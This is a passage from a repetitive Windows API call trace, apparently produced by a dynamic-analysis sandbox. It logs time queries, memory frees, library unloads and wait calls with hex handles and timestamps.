lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x220d1180, dwHighDateTime=0x1d8a92a)) [0139.929] free (_Block=0x2af0e0) [0139.929] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0139.929] free (_Block=0x2b8790) [0139.929] free (_Block=0x2ad220) [0139.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x220d1180, dwHighDateTime=0x1d8a92a)) [0139.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x220d1180, dwHighDateTime=0x1d8a92a)) [0139.930] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x220d1180, dwHighDateTime=0x1d8a92a)) [0139.930] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0140.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x224fb800, dwHighDateTime=0x1d8a92a)) [0140.601] free (_Block=0x2aefc0) [0140.601] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0140.603] free (_Block=0x2ad270) [0140.603] free (_Block=0x2ad3b0) [0140.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x224fb800, dwHighDateTime=0x1d8a92a)) [0140.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x224fb800, dwHighDateTime=0x1d8a92a)) [0140.603] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x224fb800, dwHighDateTime=0x1d8a92a)) [0140.604] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0140.659] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x22593d80, dwHighDateTime=0x1d8a92a)) [0140.659] free (_Block=0x2af0e0) [0140.660] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0140.660] free (_Block=0x2b8790) [0140.660] free (_Block=0x2ad220) [0140.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x22593d80, dwHighDateTime=0x1d8a92a)) [0140.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x22593d80, dwHighDateTime=0x1d8a92a)) [0140.661] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x22593d80, dwHighDateTime=0x1d8a92a)) [0140.661] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0141.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x229e4560, dwHighDateTime=0x1d8a92a)) [0141.121] free (_Block=0x2af0c0) [0141.121] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0141.123] free (_Block=0x2ad3b0) [0141.124] free (_Block=0x2ad270) [0141.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x229e4560, dwHighDateTime=0x1d8a92a)) [0141.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x229e4560, dwHighDateTime=0x1d8a92a)) [0141.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x229e4560, dwHighDateTime=0x1d8a92a)) [0141.124] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0141.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x22ac8da0, dwHighDateTime=0x1d8a92a)) [0141.205] free (_Block=0x2af0e0) [0141.205] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0141.205] free (_Block=0x2b35c0) [0141.206] free (_Block=0x2ad220) [0141.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x22ac8da0, dwHighDateTime=0x1d8a92a)) [0141.206] free (_Block=0x2aef80) [0141.206] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0141.207] free (_Block=0x2ad270) [0141.208] free (_Block=0x2ad3b0) [0141.208] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0142.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2331daa0, dwHighDateTime=0x1d8a92a)) [0142.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x23343c00, dwHighDateTime=0x1d8a92a)) [0142.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x23343c00, dwHighDateTime=0x1d8a92a)) [0142.094] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xfffffff2, bAlertable=0) returned 0x0 [0142.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x233b6020, dwHighDateTime=0x1d8a92a)) [0142.145] free (_Block=0x2aef80) [0142.145] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0142.145] free (_Block=0x2b8790) [0142.146] free (_Block=0x2ad3b0) [0142.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x233b6020, dwHighDateTime=0x1d8a92a)) [0142.146] free (_Block=0x2aefa0) [0142.146] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0142.147] free (_Block=0x2ad270) [0142.149] free (_Block=0x2ad220) [0142.149] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0142.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x237943e0, dwHighDateTime=0x1d8a92a)) [0142.624] free (_Block=0x2aefa0) [0142.624] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0142.624] free (_Block=0x2b8790) [0142.627] free (_Block=0x2ad220) [0142.627] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0142.675] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x23806800, dwHighDateTime=0x1d8a92a)) [0142.676] free (_Block=0x2aefc0) [0142.676] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0142.677] free (_Block=0x2ad220) [0142.677] free (_Block=0x2ad270) [0142.677] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0143.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x23ca32a0, dwHighDateTime=0x1d8a92a)) [0143.168] free (_Block=0x2aefc0) [0143.168] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0143.169] free (_Block=0x2b35c0) [0143.170] free (_Block=0x2ad270) [0143.170] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0143.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x23d61980, dwHighDateTime=0x1d8a92a)) [0143.244] free (_Block=0x2af0c0) [0143.244] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0143.246] free (_Block=0x2ad270) [0143.246] free (_Block=0x2ad220) [0143.247] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0143.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2437b1e0, dwHighDateTime=0x1d8a92a)) [0143.881] free (_Block=0x2af0c0) [0143.881] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0143.882] free (_Block=0x2b35c0) [0143.882] free (_Block=0x2ad220) [0143.883] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0143.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x24413760, dwHighDateTime=0x1d8a92a)) [0143.947] free (_Block=0x2af0e0) [0143.947] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0143.948] free (_Block=0x2ad220) [0143.949] free (_Block=0x2ad270) [0143.949] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0145.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x24ac5540, dwHighDateTime=0x1d8a92a)) [0145.074] free (_Block=0x2af0e0) [0145.074] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0145.075] free (_Block=0x2b35c0) [0145.075] free (_Block=0x2ad270) [0145.075] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0145.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x24b5dac0, dwHighDateTime=0x1d8a92a)) [0145.140] free (_Block=0x2aef80) [0145.140] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0145.141] free (_Block=0x2ad270) [0145.142] free (_Block=0x2ad220) [0145.142] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0146.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2512b060, dwHighDateTime=0x1d8a92a)) [0146.205] free (_Block=0x2aef80) [0146.205] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0146.206] free (_Block=0x2b35c0) [0146.206] free (_Block=0x2ad220) [0146.206] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0146.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2525bb60, dwHighDateTime=0x1d8a92a)) [0146.325] free (_Block=0x2aefa0) [0146.325] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0146.327] free (_Block=0x2ad220) [0146.327] free (_Block=0x2ad270) [0146.328] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0147.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x25a3e440, dwHighDateTime=0x1d8a92a)) [0147.165] free (_Block=0x2aefa0) [0147.165] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0147.166] free (_Block=0x2b35c0) [0147.166] free (_Block=0x2ad270) [0147.166] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0147.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x25ad69c0, dwHighDateTime=0x1d8a92a)) [0147.237] free (_Block=0x2aefc0) [0147.237] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0147.238] free (_Block=0x2ad270) [0147.239] free (_Block=0x2ad220) [0147.239] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0149.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x261887a0, dwHighDateTime=0x1d8a92a)) [0149.110] free (_Block=0x2af200) [0149.111] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0149.111] free (_Block=0x2b90e0) [0149.112] free (_Block=0x2ad680) [0149.112] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0149.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x26246e80, dwHighDateTime=0x1d8a92a)) [0149.178] free (_Block=0x2af280) [0149.178] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0149.180] free (_Block=0x2ad680) [0149.180] free (_Block=0x2ad6d0) [0149.181] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0150.171] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x26709a80, dwHighDateTime=0x1d8a92a)) [0150.171] free (_Block=0x2af280) [0150.171] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0150.172] free (_Block=0x2b90e0) [0150.172] free (_Block=0x2ad6d0) [0150.173] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0150.233] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x267a2000, dwHighDateTime=0x1d8a92a)) [0150.234] free (_Block=0x2af180) [0150.234] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0150.235] free (_Block=0x2ad6d0) [0150.236] free (_Block=0x2ad680) [0150.236] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0151.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x26ff6d00, dwHighDateTime=0x1d8a92a)) [0151.387] free (_Block=0x2af180) [0151.387] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0151.388] free (_Block=0x2b90e0) [0151.389] free (_Block=0x2ad680) [0151.389] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0151.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x27069120, dwHighDateTime=0x1d8a92a)) [0151.435] free (_Block=0x2af1a0) [0151.435] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0151.436] free (_Block=0x2ad680) [0151.437] free (_Block=0x2ad6d0) [0151.437] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0151.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x27505bc0, dwHighDateTime=0x1d8a92a)) [0151.915] free (_Block=0x2af1a0) [0151.915] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0151.916] free (_Block=0x2b90e0) [0151.916] free (_Block=0x2ad6d0) [0151.916] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0151.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x27577fe0, dwHighDateTime=0x1d8a92a)) [0151.957] free (_Block=0x2af240) [0151.957] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0151.959] free (_Block=0x2ad6d0) [0151.959] free (_Block=0x2ad680) [0151.959] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0153.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x27bddb00, dwHighDateTime=0x1d8a92a)) [0153.013] free (_Block=0x2af240) [0153.013] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0153.013] free (_Block=0x2b35c0) [0153.014] free (_Block=0x2ad680) [0153.014] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0153.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x27c76080, dwHighDateTime=0x1d8a92a)) [0153.075] free (_Block=0x2af260) [0153.075] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0153.077] free (_Block=0x2ad680) [0153.077] free (_Block=0x2ad6d0) [0153.077] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0154.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x28b7cb60, dwHighDateTime=0x1d8a92a)) [0154.776] free (_Block=0x2af260) [0154.776] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0154.776] free (_Block=0x2b90e0) [0154.777] free (_Block=0x2ad6d0) [0154.777] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0154.818] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x28bc8e20, dwHighDateTime=0x1d8a92a)) [0154.818] free (_Block=0x2af280) [0154.818] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0154.820] free (_Block=0x2ad6d0) [0154.821] free (_Block=0x2ad680) [0154.821] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0155.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x290658c0, dwHighDateTime=0x1d8a92a)) [0155.300] free (_Block=0x2af280) [0155.300] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0155.301] free (_Block=0x2b90e0) [0155.301] free (_Block=0x2ad680) [0155.302] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0155.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x290d7ce0, dwHighDateTime=0x1d8a92a)) [0155.351] free (_Block=0x2af180) [0155.351] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0155.353] free (_Block=0x2ad680) [0155.353] free (_Block=0x2ad6d0) [0155.354] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0155.986] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2960cd00, dwHighDateTime=0x1d8a92a)) [0155.986] free (_Block=0x2af180) [0155.986] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0155.986] free (_Block=0x2b35c0) [0155.987] free (_Block=0x2ad6d0) [0155.987] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0156.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2967f120, dwHighDateTime=0x1d8a92a)) [0156.027] free (_Block=0x2af1a0) [0156.027] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0156.029] free (_Block=0x2ad6d0) [0156.029] free (_Block=0x2ad680) [0156.030] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0156.622] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x29c26560, dwHighDateTime=0x1d8a92a)) [0156.622] free (_Block=0x2af1a0) [0156.622] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0156.623] free (_Block=0x2b35c0) [0156.623] free (_Block=0x2ad680) [0156.623] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0156.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x29d0ada0, dwHighDateTime=0x1d8a92a)) [0156.718] free (_Block=0x2af240) [0156.718] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0156.719] free (_Block=0x2ad680) [0156.720] free (_Block=0x2ad6d0) [0156.720] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0157.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2a1f3b00, dwHighDateTime=0x1d8a92a)) [0157.227] free (_Block=0x2af240) [0157.227] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0157.228] free (_Block=0x2b35c0) [0157.228] free (_Block=0x2ad6d0) [0157.229] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0157.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2a28c080, dwHighDateTime=0x1d8a92a)) [0157.302] free (_Block=0x2af260) [0157.302] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0157.303] free (_Block=0x2ad6d0) [0157.304] free (_Block=0x2ad680) [0157.304] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0157.967] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2a79af40, dwHighDateTime=0x1d8a92a)) [0157.967] free (_Block=0x2af260) [0157.967] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0157.968] free (_Block=0x2b90e0) [0157.968] free (_Block=0x2ad680) [0157.968] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0158.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2a8334c0, dwHighDateTime=0x1d8a92a)) [0158.023] free (_Block=0x2af280) [0158.023] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0158.024] free (_Block=0x2ad680) [0158.025] free (_Block=0x2ad6d0) [0158.025] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0158.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2af7d820, dwHighDateTime=0x1d8a92a)) [0158.970] free (_Block=0x2af280) [0158.970] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0158.971] free (_Block=0x2b90e0) [0158.971] free (_Block=0x2ad6d0) [0158.972] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0159.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2b03bf00, dwHighDateTime=0x1d8a92a)) [0159.040] free (_Block=0x2af180) [0159.040] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0159.041] free (_Block=0x2ad6d0) [0159.042] free (_Block=0x2ad680) [0159.042] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0159.668] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2b6094a0, dwHighDateTime=0x1d8a92a)) [0159.668] free (_Block=0x2af180) [0159.668] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0159.669] free (_Block=0x2b90e0) [0159.670] free (_Block=0x2ad680) [0159.670] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0159.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2b6a1a20, dwHighDateTime=0x1d8a92a)) [0159.733] free (_Block=0x2af1a0) [0159.733] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0159.735] free (_Block=0x2ad680) [0159.735] free (_Block=0x2ad6d0) [0159.735] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0160.136] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2ba7fde0, dwHighDateTime=0x1d8a92a)) [0160.137] free (_Block=0x2af1a0) [0160.137] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0160.137] free (_Block=0x2b90e0) [0160.138] free (_Block=0x2ad6d0) [0160.138] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0160.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2bb18360, dwHighDateTime=0x1d8a92a)) [0160.203] free (_Block=0x2af240) [0160.203] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0160.204] free (_Block=0x2ad6d0) [0160.205] free (_Block=0x2ad680) [0160.205] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0161.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2c2d4ae0, dwHighDateTime=0x1d8a92a)) [0161.013] free (_Block=0x2af240) [0161.013] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 [0161.014] free (_Block=0x2b90e0) [0161.015] free (_Block=0x2ad680) [0161.015] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0161.084] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2c3931c0, dwHighDateTime=0x1d8a92a)) [0161.084] free (_Block=0x2af260) [0161.084] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0161.086] free (_Block=0x2ad680) [0161.087] free (_Block=0x2ad6d0) [0161.087] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0161.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x10ff8c8 | out: lpSystemTimeAsFileTime=0x10ff8c8*(dwLowDateTime=0x2c7e39a0, dwHighDateTime=0x1d8a92a)) [0161.531] free (_Block=0x2af260) [0161.531] FreeLibrary (hLibModule=0x7fefe7b0000) returned 1 